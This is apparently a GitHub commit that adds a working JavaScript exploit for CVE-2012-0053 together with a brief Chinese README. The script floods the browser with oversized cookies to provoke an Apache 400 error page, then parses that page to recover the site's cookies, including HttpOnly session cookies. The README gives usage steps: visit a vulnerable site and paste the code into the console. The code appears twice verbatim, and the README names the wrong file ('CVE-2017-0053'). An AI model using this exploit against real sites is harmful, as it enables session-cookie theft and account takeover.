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Mr5m1th committed Dec 1, 2017
1 parent 5101b11 commit dd7aa7f
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105 changes: 105 additions & 0 deletions CVE_EXP/CVE-2012-0053/CVE-2012-0053.js
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// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}

function makeRequest() {
setCookies();

function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}

makeRequest();// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}

function makeRequest() {
setCookies();

function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}

makeRequest();
10 changes: 10 additions & 0 deletions CVE_EXP/CVE-2012-0053/README.md
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# CVE-2012-0053

## POC
* 来自[]()
* []()

## 利用方法

1. 打开Google,访问存在此漏洞的网站。
2. F12开启控制台,Console,将CVE-2017-0053.js中的代码复制出来,并且放在Console中执行。

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